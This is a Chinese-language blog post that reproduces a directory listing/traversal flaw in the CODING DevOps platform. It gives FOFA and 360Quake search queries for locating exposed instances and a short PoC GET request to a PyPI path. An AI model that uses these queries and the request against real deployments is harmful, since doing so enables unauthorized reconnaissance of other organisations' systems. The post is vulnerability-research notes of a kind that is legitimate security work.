腾讯云coding平台平台inda目录遍历漏洞复现

sec0nd_

已于 2024-09-05 23:27:18 修改

阅读量2k

点赞数 1

分类专栏：安全笔记文章标签：网络安全

于 2023-08-28 23:05:34 首次发布

本文链接：https://blog.youkuaiyun.com/weixin_52444045/article/details/132549937

版权

安全笔记专栏收录该内容

97 篇文章

订阅专栏

文章讨论了Python库在遍历文件时的局限性，指出其对上级目录的访问受限。同时，介绍了CODINGDevOps作为一站式研发管理平台，强调其在DevOps和敏捷开发中的优势，以及针对发现的漏洞提出的升级版本处理措施。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前言

其实就是一个python的库可以遍历到，并不能遍历到别的路径下，后续可利用性不大，并且目前这个平台私有部署量不多，大多都是用腾讯云在线部署的。

CODING DevOps 是面向软件研发团队的一站式研发协作管理平台，提供从需求到设计、开发、构建、测试、发布到部署的全流程协同及研发工具支撑。CODING 解决方案可助力企业实现代码的统一安全管控，并快速实践敏捷开发与 DevOps，提升软件交付质量与速度，降低企业研发成本，实现研发效能升级。

漏洞复现

fofa语句: title=“一站式软件研发管理平台” 或者360quake body:“Coding.net 是一个面向开发者的云端开发平台，提供 Git/SVN 代码托管、任务管理、在线 WebIDE、Cloud Studio、开发协作、文件管理、Wiki 管理、提供个人服务及企业版本的服务”
在这里插入图片描述
默认跳转到登录界面

poc：

method: GET
path: /ci/pypi/simple/idna/
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36

在这里插入图片描述